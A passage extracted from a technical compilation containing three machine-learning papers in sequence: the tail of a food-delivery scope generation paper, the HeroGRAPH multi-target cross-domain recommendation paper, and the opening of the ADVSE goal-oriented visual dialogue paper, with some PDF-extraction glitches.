easily. 2) The BIP model in our algorithm customizes scopes for dif-
ferent restaurants according to their own characteristics. Generally,
restaurants with higher conversion rate and more convenient traffic
condition could get larger scopes. Figure 11 shows three algorithm-
generated scopes with significant difference for restaurants in a
same station.

Figure 11: Algorithm-generated scopes for restaurants in
a station: Our algorithm allocate three scopes with signifi-
cantly different sizes to these restaurants, due to the varia-
tions in their conversion rates and traffic condition nearby.
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Table 1: Delivery Scope Algorithm Experiment Results in 33 Cities

Group Type R#order Rt̄ Rd̄ ∆OR ∆CR RCE

Experimental Group 12.15% 5.79% 2.02% -0.93% -0.05% 5.42%
Control Group 10.47% 2.00% 0.07% -0.28% -0.05% 3.48%

Table 2: Performance of ML Methods on Order Estimation

ML method MAE RMSE R2

Ridge Regression 8.29 18.0873 0.5045
CART 4.08 11.7369 0.7885

Random Forest 3.65 8.0920 0.8621
XgBoost* 3.07 6.5218 0.8813

4.2 Performance of Order Estimation
The experiments dataset is constructed from online delivery scopes
and order information. We construct the virtual scopes from our
online delivery scope according to different area proportion. In
our experiments, we make use of delivery scopes of 2 million on-
line restaurants on Meituan-Dianping platform and data of their
corresponding orders in 30 days.

In Table 2 we list the performance of different machine learning
models on the estimation of the number of orders. XgBoost outper-
forms other methods in several evaluation criteria. We get a similar
conclusion from experiments on the estimation of average delivery
time.

4.3 Performance of Delivery Scope Drawing
Algorithm

In this section, we exhibit real intermediate results of the single
delivery scope drawing pipeline in our system. Figure 12 displays
them step by step from the initial circle to the final delivery scope
polygon.

4.3.1 Compression Effects. Weevaluate different compressionmeth-
ods in our system. Good compression method of delivery scope
keeps original scope shape as much as possible and at the same
time use less storage, or points in our scenario. Base on that, we
compare the metrics, compression rate (CR) and the normalized
symmetric area difference (NSAD) between different methods.
Here, compression rate is the ratio between the number of bound-
ary points in the compressed scope and the number of boundary
points in the original scope. We propose the normalized symmetric
area difference inspired by [6]. We denote Sor i and Scomp to the
original delivery scope and the compressed one respectively, then
the NSAD is defined as follows:

NSAD = (Area(Sor i−Scomp ) +Area(Scomp−Sor i ))/AreaSor i (7)
We take delivery scopes from 100 online restaurants as our eval-

uation dataset, and evaluate average performance of CR and NSAD
on Angle based compression method and Douglas-Peucker com-
pression method with same hyper-parameters. Details about the
comparison can be found in Table 3. Results show that both these
2Figures are generated by mapbox.

(a) (b) (c) (d)

(e) (f) (g) (h)

Figure 12: Results of Single Delivery Scope Drawing Algo-
rithm: (a) Initialization with Shifted Center Point (b) Navi-
gation Distance Modification (c) Navigation Route Process
(d) Remove Stub (e) Scope Compression Process (f) Shipping
Scope Intersection (g) Merge High-Demand Areas (h) Re-
move Improper Location2

Table 3: Performance of Compression methods

Compression Method CR (%) NSAD(m2)
Angle 66.8 0.000523

Douglas-Peucker* 41.9 0.003

two compression methods could keep original scope shape with
little deformation, and Douglas-Peucker method could achieve a
much higher compression rate.

4.3.2 Effect of Covering High-Demand Areas. We exhibit the effect
of covering high-demand areas on order distribution heat map
by comparing the difference of delivery scopes with and without
covering high-demand areas (CHDA) module. Figure 13 shows
two generated delivery scopes of the same online restaurant. In
the red dot box, we can see the scope generated with CHDA in
(b) covers more hot regions compared with the scope generated
without CHDA in (a).

4.4 Efficiency for Operations
Before our delivery scope generation system deployed online, oper-
ating staff drew all delivery scopes in a manual way. It takes about
3 minutes to draw a delivery scope by hands on average. On our
platform, adjustment of delivery scopes is required considering the
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(a) Scope before CHDA Process (b) Scope after CHDA Process

Figure 13: CHDA Process merges some hot blocks into the
scope generated in the previous procedures. This could in-
crease the number of orders for the corresponding restau-
rant effectively.

fluctuation of our couriers’ number. Due to the large amount of part-
ner restaurants, to draw delivery scopes or to adjust current ones
is a time-consuming task. In our delivery scope generation system,
20 servers work for scope generation jobs. A server could generate
delivery scopes for restaurants in one station in less than 10 min-
utes. This enables us to draw delivery scopes for all restaurants on
our platform in less than 10 hours.

5 RELATEDWORK
Although delivery scope is a special concept in the senario of on-
demand delivery service, our work is related to some previous
research listed below. [12] and [17] do some analysis on the rela-
tionship between the demand&supply of a store and the size of its
delivery scope, which they call "service area" or "service outlet".
In their work, they just represent a delivery scope as a circle to
simplify the problem, which is not accurate in practice. And in some
previous location-based retrieval research, authors usually focus
on how to represent locations with refined features [16] or how to
estimate the user preferences more accurately with some location
information [1]. When retrieving the locations for users, previous
location-based service also fetch all locations in the circle with
specified radius or fetch those locations based on users’ interest
without considering spatial limitation [14, 18, 19].

6 CONCLUSION
In this paper, we propose a new paradigm for the generation of
delivery scopes. In fact, the set of delivery scopes is an important
tool to balance the demand of eaters, the supply of restaurants and
couriers’ capacity in on-demand delivery service. In our framework,
at first, a single delivery scope generation algorithm is proposed,
which could draw delivery scopes to guarantee experience of users,
restaurants and delivery partners. Then in order to achieve a global
optimum for a bunch of restaurants, we formalize the delivery scope
selection as a binary integer programming problem. Any branch
and bound solver could be used to solve this problem to get an exact
solution. In order to solve a BIP problem in a large scale efficiently,
we propose a heuristic search algorithm to achieve an approximate
solution. Results of large scale experiments demonstrate that these
algorithm-generated delivery scopes outperform manual ones.

This scope generation framework has been deployed online for
several years, and it has been proven to be a successful practice on
our on-demand delivery service platform. Now, a next-generation
framework has already been built, which we would demonstrate in
the future.
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ABSTRACT
Cross-Domain Recommendation (CDR) is an important task in
recommender systems. Information can be transferred from other
domains to target domain to boost its performance and relieve
the sparsity issue. Most of the previous work is single-target CDR
(STCDR), and some researchers recently propose to study dual-
target CDR (DTCDR). However, there are several limitations. These
works tend to capture pair-wise relations between domains. They
will need to learn much more relations if they are extended to multi-
target CDR (MTCDR). Besides, previous CDRworks prefer relieving
the sparsity issue by extra information or overlapping users. This
leads to a lot of pre-operations, such as feature-engineering and
finding common users. In this work, we propose a heterogeneous
graph framework for MTCDR (HeroGRAPH). First, we construct a
shared graph by collecting users and items from multiple domains.
This can obtain cross-domain information for each domain by mod-
eling the graph only once, without any relation modeling. Second,
we relieve the sparsity by aggregating neighbors from multiple do-
mains for a user or an item. Then, we devise a recurrent attention
to model heterogeneous neighbors for each node. This recurrent
structure can help iteratively refine the process of selecting im-
portant neighbors. Experiments on real-world datasets show that
HeroGRAPH can effectively transfer information between domains
and alleviate the sparsity issue.
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1 INTRODUCTION
Collaborative Filtering (CF) has become an effective and efficient
technique for recommender systems [13]. However, CF methods of-
ten face the sparsity issue as real-world datesets usually have a long
tail of users and items with few feedbacks. With the development
of CF, Cross-Domain Recommendation (CDR) has been proven to
be a promising method to alleviate the sparsity. It can transfer rich
information from one domain to another to boost performance.

According to different tasks, previous CDR methods can be
roughly divided into two categories, i.e., single-target CDR (STCDR)
and dual-target CDR (DTCDR). Most CDR methods belong to the
former one, which transfers the information from source domain
to target domain and not vice versa. These methods can be based
on either the feedbacks [8, 19] or the rich side information [2, 14]
to relieve the sparsity. The latter DTCDR has recently been studied.
Information from source domain and target domain is mutually
utilized to improve the performance of both domains. There are
usually two approaches to conduct dual-target modeling. The first
way is mostly founded on common users [17, 20] as they can clearly
restore information frommultiple domains. The second way utilizes
mapping function [7, 9] performing as a bridge between domains.

Technically, previous works are good at STCDR and DTCDR,
but few people study the multi-target CDR (MTCDR). MTCDR is
a generalization of DTCDR. Given at least three domains along
with the features and feedbacks, the goal of MTCDR is to boost
the performance of all domains. It is a more challenging but more
general task in real systems. Previous successful DTCDR methods
[7, 20] would have some problems if they were extended to MTCDR.
First, DTCDR generally models the pairwise relations between
domains. If they directly handle n domains, there will be at least
C2
n relations. Second, most previous works transfer information by

users. It is an indirect way to incorporate cross-domain information,
because user behaviors at multiple domains are still processed
within each domain. Maybe we can collect all behaviors to devise a
shared structure such as graph. Such a structure can directly model
within-domain and cross-domain behaviors together, because it can
acquire feedbacks from all domains as neighbors for a user or an
item.

In this work, we propose aHeterogeneous GRAPH framework
for MTCDR (HeroGRAPH). First, we collect ID information of
users and items from multiple domains and build a shared graph.
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Nodes include users and items. If a user purchases an item, there
will be an edge in this graph. Then we use information within each
domain to conduct within-domain modeling, and use the shared
graph to handle cross-domain information. Besides, we propose a
recurrent attention to aggregate neighbors from multiple domains.
Last, we combine within-domain embedding and cross-domain
embedding to compute user preference and train the model. The
main contributions are listed as follows:

• We propose to introduce a shared structure tomodel informa-
tion from multiple domains, such as a graph. This structure
can greatly simplify the cross-modeling process.
• We propose to aggregate neighbors from all domains for
users and items to relieve the sparsity issue. Besides, we
introduce a recurrent attention to iteratively refine the ag-
gregation.
• Experiments on real-world datasets reveal that HeroGRAPH
outperforms the state-of-the-art methods and is effective in
dealing with the sparsity.

2 RELATEDWORK
In this section, we review related works including STCDR, DTCDR
and graph neural network.

Compared with single-domain recommendation, STCDR can
leverage information from source domain to improve the perfor-
mance of target domain. [19] proposes a deep adaptation-based
model to boost the target domain only with ratings. [8] proposes to
use spectral convolutions to acquire high-order connectivity and
construct domain-invariant user mapping to transfer knowledge.
Other works would use text information like description [14] and
attribute information [2] to improve performance. STCDR only
aims to have a better target domain performance.

Different from STCDR, DTCDR tries to use the information from
target domain to boost the source domain. In another word, the
goal of DTCDR is mutual improvement. The concept of DTCDR is
first proposed in [20]. This work applies common users to obtain
the shared data. It needs different methods to obtain pre-trained
features. [7] also belongs to DTCDR. It utilizes an orthogonal map-
ping to connect two models for two domains. The two models can
be mutually connected. This work also generates an extension to
muti-target CDR but needs orthogonal matrix between every two
domains. These representative DTCDR methods only consider the
user for building connections between domains.

Graph neural network has become a rising and shining star
nowadays. With the success of GCN [6], graph methods quickly
catch the eye of researchers. In recent years, GraphSAGE achieves
great success as it can acquire inductive embedding [3]. PinSage
can be considered a successful industrial practice [18]. Other graph
methods such as GAT [15] also promote development in the field. In
recommender systems, graph methods are also outstanding. [16] ap-
plies meta-path and attention on heterogeneous graph and achieves
the state-of-the-art performance. Encouraged by those works, we
can also use graph to address problems in CDR, such as alleviating
the sparsity by aggregating neighbors.

3 METHODOLOGY
In this section, we propose a heterogeneous graph framework for
multi-target cross-domain recommendation (HeroGRAPH) and its
diagram is in Fig. 1. We first formulate the problem. Next, we collect
feedbacks for each domain and obtain within-domain embedding
for each user and item. Then we gather all feedbacks to build a
shared graph and acquire cross-domain embedding. Finally, we
compute user preference and apply Bayesian Personalized Ranking
(BPR) to train the model.

3.1 Problem Formulation
Let UA and IA be the sets of users and items respectively. The
subscript A represents domain A, and so do domain B, domain C,
and so on. Refer to uA, iA and (uA, iA ) as user ID, positive item ID,
and a positive feedback pair. In this work, we only use these IDs
and feedbacks to build model without any side information. Given
at least three domains, our target is to improve the performance of
all domains.

3.2 Within-Domain Modeling
In the first stage, we collect feedbacks and obtain within-domain
embedding for every user and item in each domain. As the only
feature we have is ID, we can easily allocate a vector as the initial
embedding for each ID. For domain A, this process can be repre-
sented as EA (·) in Fig. 1, and embeddings for uA and iA are EuA
and EiA , respectively.

3.3 Shared Graph and Cross-Domain Modeling
After obtaining the within-domain embedding, we need to acquire
cross-domain embedding.

By using feedbacks from all domains, we construct a heteroge-
neous graph illustrated in Fig. 2 and all domains will use this graph.
In real-world, one platform can provide items in many domains for
users. If we split user’s feedbacks according to domain label, we
will obtain many single-domain datasets and user interest will be
split. For example, Amazon dataset [10] has many domains, such
as Digital Music, Musical Instruments and Amazon Instant Video.
Therefore, it is reasonable to reassemble the data from different
domains to acquire better user embedding and item embedding.

The cross-domain modeling can be considered as graph model-
ing, abbreviated as G (·) in Fig. 1. The corresponding embeddings
for uA and iA can be represented as GuA and GiA , respectively. We
consider obtainingGuA as an example to explain how to fuse infor-
mation from multiple domains. The basic process is conducted by
GraphSAGE [3] with max pooling. Now, suppose we have a user in
domain Awhoes ID isuA, and its neighborsN (uA ) = {iA, iB , ..., iN }
are from multiple domains. Their intermediate graph embeddings
can be represented as

q = huA

K = {hj | j ∈ N (uA )} = {hiA ,hiB , ...,hiN }
V = {Phj + p | hj ∈ K }

(1)

where q,K ,V are user vector, neighbor’s vector and embeded neigh-
bor representation obtained by a fully connected network, respec-
tively. Then, these vectors are used to compute the cross-domain
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Figure 1: Diagram of the HeroGRAPH model. Black and red arrows between different layers represent the within-domain
modeling and cross-domain modeling, respectively. Our model gathers information from multiple domains to construct a
heterogeneous graph to transfer knowledge and boost performance of each domain.

Domain A: 
Clothing
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Beauty
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Health

Domain N: ...

Users
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Figure 2: Illustration of the heterogeneous graph. Users may have feedbacks in different domains, and we collect all users and
items into one graph as a shared structure. This graph is a bridge among domains. Please note that these domains are limited
to one platform, such as Facebook or Amazon.

embedding by

oV = max(V )

GuA = ReLU(W · CONCAT(q,oV ) +w )
(2)

where oV is the aggregated neighbor representation and the final
graph embedding GuA is a non-linear combination of q and oV .
Please not that although we no longer need to find overlapping

users duringmodeling, graphmodeling still depends on overlapping
users to incorporate cross-domain informaion.
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Figure 3: Diagram of the recurrent attention. This attention acts as an aggregator of neighbors of a node. Attention can sum-
marize multiple factors and our work develop a recurrent version to gradually refine this process. The recurrent operation is
conducted within node vector q and neighbor’s vector K . During each iteration, we compute the output of neighbor’s aggrega-
tion by attention weight a and embeded neighbor representation V .

3.4 Recurrent Attention for Neighbor
Aggregation

In this subsection, we propose a recurrent attention to aggregate
neighbors for each node by automatically detecting the importance
of each neighbor. The recurrent attention is illustrated in Fig. 3.

Here is the detail of our recurrent attention. First of all, the
symbols q,K ,V have the same meanings explained in subsection
3.3. Then, the attention weight a is calculated between q and K by
Bahdanau Attention [1] and we can obtain a new form of oV by

oV = V · a (3)

As neighbors are from multiple domains, we expect to gradually
refine the process of obtaining attention weight a. In order to do
this, we aggregate K and update q by

oK = K · a
qnew = R · (q + oK )

(4)

where R is a linear mapping and q + oK is a short-cut connection.
Next, qnew acts as as new q to recalculate a.

Obviously, we can obtain multiple aggregated neighbor repre-
sentations as oV ,Att−1,oV ,Att−2 and so on, where subscript Att−1
and Att−2 means recurrent attention is conducted once and twice
respectively. In addition, we add a dropout layer to q and K to avoid
overfitting when we first get them.

3.5 Training Framework
In this subsection, we obtain user preference and train the model.
Equations are introduced based on domain A.

The positive user preference is calculated based on matrix fac-
torization

x̂tuiA = EtuA · E
t
iA +G

t
uA ·G

t
iA (5)

where superscript t represents a sample (uA, iA ) with a certain
timestamp. Then we apply the widely-used pair-wise Bayesian
Personalized Ranking (BPR) [11] to train the model

ltui jA = − lnσ
(
x̂tuiA − x̂

t
u jA

)
(6)

where x̂tu jA = EtuA · E
t
jA
+Gt

uA ·G
t
jA

is negative preference based
on negative feedback pair (uA, jA ). Finally, the loss function for
domain A is

Θ∗A =
Θ

argmin
∑
u

t= |u |∑
t=1

ltui jA +
λΘ
2 ∥Θ∥

2 (7)

where |u | reprents the number of all samples of user u. The total
loss is Θ∗ = Θ∗A + Θ

∗
B + Θ

∗
C + . . . and parameters are updated by

Adam with default values [5].

4 EXPERIMENTS
In this section, we conduct experiments, analyze the sparsity issue
and the proposed recurrent attention.

4.1 Experimental Settings
Datasets. The experiment is conducted on Amazon 5-core dataset
[10]. We choose six domains and divide them into two tasks. Each
task has three domains. The statistics of each domain are listed in
Table 1. Please note that the number of feedbacks is equal to the
number of reviews listed on the website 1.
Evaluation Protocols. All datasets are divided into training set,
validation set and test set by time. Specifically, the time range of
validation set is between 1-Mar.-2014 and 30-Apr.-2014. The ratio
of the amount of feedbacks in three sets is approximately 8:1:1. The
performance is evaluated on test set by AUC.

1http://jmcauley.ucsd.edu/data/amazon



1236　>　美团 2020 技术年货

HeroGRAPH ORSUM@ACM RecSys 2020, September 25th, 2020, Virtual Event, Brazil

Table 1: Amazon dataset. We divide six domains into two tasks.

Task Task 1 Task 2

Domain Music Instrument Video Clothing Beauty Health
# Users 5,541 1,429 5,130 39,387 22,363 38,609
# Items 3,568 900 1,685 23,033 12,101 18,534

# Feedbacks 64,706 10.261 37,126 278,677 198,502 346,355

Baselines. Our model is compared with several baselines. (1) BPR
[11]: We choose the BPR-MF to model implicit feedback. This is a
popular and powerful single-domain method. (2) DDTCDR [7]: This
is a state-of-the-art DTCDRmethod andwe extend it to handle three
domains. (3) GraphSAGE-pool [3]: It is a popular graph method and
we select its max pooling variant. Besides, as our proposed network
has recurrent attention, we generate three variants: HeroGRAPH-
Att-1, HeroGRAPH-Att-2 and HeroGRAPH-Att-3.

In this paper, we aim to explore a novel structure for MTCDR.
Therefore, we choose widely-used matrix factorization to compute
dot product similarity for all methods rather than a learned sim-
ilarity such as NeuMF [4], as it still needs to be carefully studied
[12].
Parameter Settings. Our method is implemented by Tensorflow
2.2 2 and hyper-parameters are chosen based on validation set. The
embedding size for each ID is 8. The regularization parameter λΘ
is 0.01. As for the graph modeling, we apply a uniform sampling
used in GraphSAGE [3] to choose neighbors and the sample sizes
for first-order neighbors and second-order neighbors are 10 and 5
respectively. Correspondingly, output embedding sizes of first-layer
aggregation and second-layer aggregation are 64 and 16 respectively.
These parameters are used across all tasks in our work.

4.2 Hyperparameter Optimization
Dropout is a powerful technique to prevent overfitting. We intro-
duce dropout layers in subsection 3.4 and take our HeroGRAPH-Att-
2 as an example to study different dropout rates. The performance
on validation set is illustrated in Fig. 4 and we choose the best
dropout rate as 0.2 for all tasks in our work.

The best rates for different domains may vary. On Task1, they
are 0.4, 0.2 and 0.2 for Music, Instrument and Video respectively.
On Task2, Clothing, Beauty and Health have best rates as 0.1, 0.4
and 0.3 respectively. Although best rates vary among domains, we
choose the best from a global perspective rather than selecting
domain-specific best rates. This strategy will affect performance
but reduce the amount of parameters.

4.3 Performance Comparison
The overall performance is listed in Table 2. From an overall point
of view, our HeroGRAPH gains the best performance. It achieves
significant improvement on task 1, while the performance on task
2 is not big.

On task 1, HeroGRAPH performs good on all three domains.
On task 2, we find that some methods are comparative, especially
BPR gains best performance on domain Beauty. There are several

2https://github.com/cuiqiang1990/HeroGRAPH

reasons for this phenomenon. First, three domains of task 2 have
much more data than that of task 1. The larger the amount of data,
the easier it is to learn a good expression. In this case, the single-
domain method can achieve good results and will not be affected by
data from other domains. Therefore, it will be difficult to improve
on such domains. Second, we treat multiple domains as a whole and
use the global optimal hyperparameters. This will cause our model
to be unable to achieve optimal performance on each domain. In
this unfavorable situation, our model still obtains good results on
domain Clothing and Health, which shows the effectiveness of our
model.

4.4 Analysis of Sparsity Issue
In this subsection, we analyze the sparsity issue. First we choose a
sparse set from the whole test set. We calculate number of occur-
rence per item in test set and items with no more than 5 feedbacks
makes up a sparse set. We count the total numbers of feedbacks of
sparse set and test set and divide them to obtain a proportion. The
higher the proportion, the more serious the sparsity issue. Statistics
and experimental results are listed in Table 3.

On tasks 1 and 2, our model can achieve great improvement
if that domain has a high proportion of sparse items. If there are
fewer sparse items, such as in domain Video, Beauty and Health,
our HeroGRAPH is not good enough because of the global optimal
hyperparameters. This means that by modeling neighbors for users
and items, our model can help relieve the sparsity issue.

4.5 Analysis of Recurrent Attention
The analysis of recurrent attention is based on Tables 2 and 3 as
our variants are listed in the last three lines of each table. Generally
speaking, Att-2 is better than Att-1 and Att-3, and it is also better
than GraphSAGE. This means that attention may be more useful
and recurrent attention can reduce the variance of data. On the
other hand, Att-2 performs comparable with Att-1 on task 2. Nearly
all values of Att-3 are smaller than that of Att-2. We can conclude
that if we have too many iterations, our model may get overfiting.
Therefore, we do not perform more iterations.

5 CONCLUSION
In this work, we propose a heterogeneous graph framework for
multi-target cross-domain recommendation (HeroGRAPH). This
is a challenging but promising task. We fistly propose to use a
shared structure to model information from all the domains such as
a graph. Then we propose a recurrent attention to gradually refine
the process of neighbor aggregation to relieve the sparsity issue.
Experiments show the effectiveness of our model.
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(a) Task1 (b) Task2

Figure 4: Performance of HeroGRAPH-Att-2 on validation set with different dropout rates.

Table 2: Performance comparison of baselines and our models.

Task Task 1 Task 2

Domain Music Instrument Video Clothing Beauty Health
Evaluation on test set AUC (%) AUC (%)

Baselines
BPR [11] 65.36 51.15 67.20 53.84 59.13 59.68

DDTCDR [7] 65.21 53.46 67.40 52.50 57.97 60.23
GraphSAGE-pool [3] 65.50 59.10 71.30 53.17 58.59 60.04

Our HeroGRAPH
HeroGRAPH-Att-1 66.52 60.14 71.20 52.84 58.40 60.26
HeroGRAPH-Att-2 67.98 62.56 73.80 54.73 58.18 60.21
HeroGRAPH-Att-3 66.38 62.56 68.80 51.95 57.23 58.63

Table 3: Performance comparison on sparse set. Items in sparse set appear no more than 5 times in test set.

Task - sparse Task 1 - sparse Task 2 - sparse

Domain Music Instrument Video Clothing Beauty Health

Number of feedbacks
in test set

whole set 687 868 4,988 36,002 23,389 41,622
sparse set 634 647 1,685 23,266 11,363 18,324
proportion 92.28% 74.53% 33.78% 64.62% 48.58% 44.02%

Evaluation on sparse set AUC (%) AUC (%)

Baselines
BPR [11] 64.51 51.62 63.32 52.64 55.25 52.85

DDTCDR [7] 67.04 51.93 60.50 52.03 54.69 53.78
GraphSAGE-pool [3] 66.26 54.56 61.40 52.74 55.51 53.49

Our HeroGRAPH
HeroGRAPH-Att-1 66.25 56.72 63.20 52.11 54.79 53.57
HeroGRAPH-Att-2 68.30 57.34 60.90 53.26 53.88 53.75
HeroGRAPH-Att-2 67.67 58.73 59.30 51.84 53.17 52.18

In the future, we will explore other shared structures such as
knowledge graph and try to incorporate user profile or item at-
tribute information. Besides, it is promising to add weights to dif-
ferent preferences within one domain, and to weigh losses between
multiple domains. Homoscedastic uncertainty may be a good strat-
egy to investigate weight that can be automatically updated during
training.
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ABSTRACT
A goal-oriented visual dialogue involves multi-turn interactions
between two agents, Questioner and Oracle. During which, the an-
swer given by Oracle is of great significance, as it provides golden
response to what Questioner concerns. Based on the answer, Ques-
tioner updates its belief on target visual content and further raises
another question. Notably, different answers drive into different
visual beliefs and future questions. However, existing methods al-
ways indiscriminately encode answers after much longer questions,
resulting in a weak utilization of answers. In this paper, we propose
an Answer-Driven Visual State Estimator (ADVSE) to impose the
effects of different answers on visual states. First, we propose an
Answer-Driven Focusing Attention (ADFA) to capture the answer-
driven effect on visual attention by sharpening question-related
attention and adjusting it by answer-based logical operation at
each turn. Then based on the focusing attention, we get the visual
state estimation by Conditional Visual Information Fusion (CVIF),
where overall information and difference information are fused
conditioning on the question-answer state. We evaluate the pro-
posed ADVSE to both question generator and guesser tasks on the
large-scale GuessWhat?! dataset and achieve the state-of-the-art
performances on both tasks. The qualitative results indicate that the
ADVSE boosts the agent to generate highly efficient questions and
obtains reliable visual attentions during the reasonable question
generation and guess processes.

CCS CONCEPTS
•Computingmethodologies→ Computer vision tasks; Discourse,
dialogue and pragmatics; Natural language generation; Computer
vision representations.
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1 INTRODUCTION
Goal-oriented Visual Dialogue, which means conducting multi-turn
visual-grounded conversations with specific goals, is a compara-
tively new vision-language task while has attracted increased in-
terests for its research significance and application prospect. As
test-beds, image guessing tasks such as Guess-What [6] and Guess-
Which [5], i.e. two-player games between Questioner and Oracle
to retrieve visual content through dialogue, are proposed. In each
round of the dialogue, the Questioner raises a visual-grounded
question and gets respond from the Oracle (who predefines the
visual target). After several rounds, Questioner is expected to make
a right guess at the visual target.

To conduct goal-oriented and vision-coherent dialogue, the AI
agent should be able to learn a visual sensitive multimodal represen-
tation of the dialogue as well as a dialogue policy. Many works have
been done on policy-learning. As Strub et al. [22] first introduce
Reinforcement Learning (RL) to explore the dialogue strategy, later
works take efforts on reward design [20, 26] or action selection
[1, 2]. However, most of them employ a simple way to represent
the multimodal dialogue by concatenating the two separately en-
coded modalities, i.e. language feature encoded by Recurrent Neural
Network (RNN) and vision feature encoded by pre-trained Con-
volutional Neural Network (CNN). To improve the multimodal
dialogue representation, various attention mechanisms have been
proposed [7, 25, 28], where multimodal interactions are enhanced
consequently. Although progresses have been made, unresolved
issues still exist.

Firstly, none of the existing representation methods can distin-
guish among different answers in the dialogue history. The answer
is always encoded right after the question without distinction. Since
answer is usually a word of yes or no while question contains a
longer word string, the effect of answer is relatively weak. How-
ever, in fact, answer largely determines the subsequent concerned
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Is it vase?

Is it partially visible?

Is it partially in red?

Yes.

No.

No.

Yes.

round 1

round 2

round 3

round 4
Is it the turquoise 
and purple one?

Figure 1: An example of discovering object in a image
through dialogue. In which, answer largely determines
the subsequent concerned visual information and question.
Driven by successive questions and answers, the range of po-
tential objects (highlighted in blue) shrinks and finally fo-
cuses on the target one (in green box).

visual information and question. As the object-discovery example
in Figure 1, when the answer to the first question "Is it a vase?"
is "yes", the questioner continues to pay attention to the vase and
asks questions about the features that can best distinguish multiple
vases; when the answer to the third question "Is it partially in red?"
is "no", the questioner no longer pays attention to the vase in red
and instead asks questions about the remaining candidates.

Secondly, the image in previous works is either encoded as a
static embedding or attended by the dialogue history, which can
hardly capture the influence of different answer on visual infor-
mation. As mentioned above, different answer results in different
concern changes on visual content. Generally, when answer is yes,
we will focus on the question-related content for more detailed dis-
tinctive information within the confirmed candidates; when answer
is no, we need to pay attention to the global area to find new possi-
ble candidates. Thus, a proper visual representation should have
access to not only the global visual information but also the detailed
distinctive information among candidates. Which kind of informa-
tion is more important is dependent on the current question-answer
(QA) state.

To address the above two issues, we propose an Answer-Driven
Visual State Estimator (ADVSE), where the visual state is the QA-
driven visual information dynamically updated through a dialogue.
We formulate the ADVSE process in two steps. We firstly esti-
mate the visual attention with Answer-Driven Focusing Attention
(ADFA) and then accordingly estimate the visual state by Condi-
tional Visual Information Fusion (CVIF). ADFA first uses a proposed
sharpening operation to polarize the question-guided attention at
current round, then inverts or maintains the attention based on
different answers, and subsequently accumulates it in the final at-
tention state. The effect of answer on the visual attention state is
strengthened in this way. CVIF fuses overall information of the
image and the difference information of the current focused can-
didate from other candidates under the guidance of the current
QA, thus obtaining the estimated visual state. We apply ADVSE

to build both Question Generator and Guesser for GuessWhat?!,
where the specific goal is to discover an undisclosed object in a rich
image scene. Experimental results show that both of them achieve
state-of-the-art performances.

To conclude, our main contributions are as follows.

• First, we propose an Answer-Driven Visual State Estimator
(ADVSE) to capture the influence of different answers in
goal-oriented visual dialogue.

• Second, we apply the ADVSE to question generation and
guess tasks on the large-scale GuessWhat?! dataset and
achieve state-of-the-art performances on both tasks.

• Third, the qualitative results indicate that our ADVSE not
only boosts the agent to generate highly efficient questions
but also presents reliable visual attention during the reason-
able question generation and guess processes.

2 RELATEDWORKS
Goal-oriented dialogue requires the agent to complete a related
task with a clear goal through multiturn conversations. Although
goal-oriented spoken and text-based dialogues have been studied in
Natural Language Processing committee for years [4, 15, 24], goal-
oriented visual dialogue extends the setting to vision domain and
is a relatively new and challenging field. Representatively, Guess-
What?! [6] aims to identify a predefined object in a real-world image
through dialogue and GuessWhich [5] is to figure out the referring
image among various images. There are typically two dialogue
agents, a Questioner and an Oracle, communicating together while
the Questioner asks questions to figure out the undisclosed target
and the Oracle, who predefines the target, responds accordingly.

Question Generation is a core task in goal-oriented visual dia-
logue. De Vries et al. [6] first proposed a supervised model, where
they extended the Hierarchical Recurrent Encoder Decoder (HRED)
[17] by introducing the visual information, which is the image’s
FC8 feature obtained from a pre-trained VGG [21]. After that, var-
ious researches focused on dialogue policy learning. Strub et al.
[22] introduced Reinforcement Learning (RL) to explore different
dialogue strategy, which regarded question generation as a Markov
Decision Process and used whether enabling a right guess as the
reward function. Zhao et al. [27] proposed a Temperature Policy
Gradient method to make balance of exploration and exploitation
while selecting words. Zhang et al. [26] designed a fine-grained
reward mechanism based on the information provided by Oracle
and Guesser. Some researchers explored the use of information
uncertainty or changes to generate valuable questions [2, 11, 20].

In these methods, the multimodal dialogue is encoded in the
simplest way, where the CNN-encoded static image embedding is
concatenated with the RNN-encoded changing dialogue history
embedding to serve as the multimodal representation. However,
encoding image as a static embedding is irrational, for the concerned
image content changes as the dialogue progresses. Other than the
simplest method, some attention-based methods are proposed to
model the interaction between dialogue and image, computing
dynamic visual information through dialogue. In PLAN network
[28], the dialogue history embedding is jointly used with the image
embedding to compute the attention on different regions, making it
possible to provide dynamic visual information at each round. Deng
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et al. [7] proposed Accumulated Attention (A-ATT) mechanism
that consists of three kinds of attention (query attention, image
attention and objects attention), where the image is attended under
the joint effect of dialogue history and object feature. Yang et al. [25]
proposed a History-Aware Co-attention Network which includes
two co-attention module, feature-wise co-attention module and
element-wise co-attention module, while both of the attention are
computed under the guidance of question and history feature.

As we can see, none of the existing methods give special con-
sideration to the effect of different answers. Most of the previous
works weaken answers’ effect by indiscriminately encoding the
much shorter answers with a dialogue history encoder. On the con-
trary, the proposed Answer-Driven Visual State Estimator (ADVSE)
explicitly exploits different answers in different ways to update the
visual attention at each step and further fuses two types of visual
information conditioning on different QA-state.

3 ANSWER-DRIVEN VISUAL STATE
ESTIMATOR

This section introduces the proposed Answer-Driven Visual State
Estimator (ADVSE). As in Figure 2, the estimator contains three
parts, which are Encoders, ADFA-based Attention State Update
(ADFA-ASU) and Conditional Visual Information Fusion (CVIF).

In the Encoders, visual information and language information
are encoded separately. The ADFA-ASU estimates the visual atten-
tion while greatly considering the answer-driven effect with the
proposed ADFA. Based on the estimated visual attention, the CVIF
estimates the visual state by fusing the attended object overall infor-
mation and the attended object difference information conditioning
on the current QA state. They are introduced in detail below.

3.1 Encoders
Visual feature. Given the input image I, Faster-RCNN [16] is used
to encode the image information. According to the static features
provided by bottom-up attention [3], the image representation is
obtained:

𝐼𝐼 = 𝑅𝑅𝑅𝑅𝑅𝑅𝑅𝑅 (𝑖𝑖𝑖𝑖𝑖𝑖𝑖𝑖𝑖𝑖), (1)

of which, top-K region proposals are selected from each image.
Here, K is simply fixed as 36, i.e. 𝐼𝐼 = {𝑖𝑖1, 𝑖𝑖2, . . . , 𝑖𝑖36} ∈ 𝑅𝑅36×2048.

Language feature. Given the t rounds dialogue history 𝐻𝐻 =
{(𝑞𝑞1, 𝑖𝑖1), . . . , (𝑞𝑞𝑡𝑡 , 𝑖𝑖𝑡𝑡 )}, where 𝑞𝑞𝑡𝑡 is the t-th round question and 𝑖𝑖𝑡𝑡
is the t-th round answer, a 2-layer GRU is applied to encode the
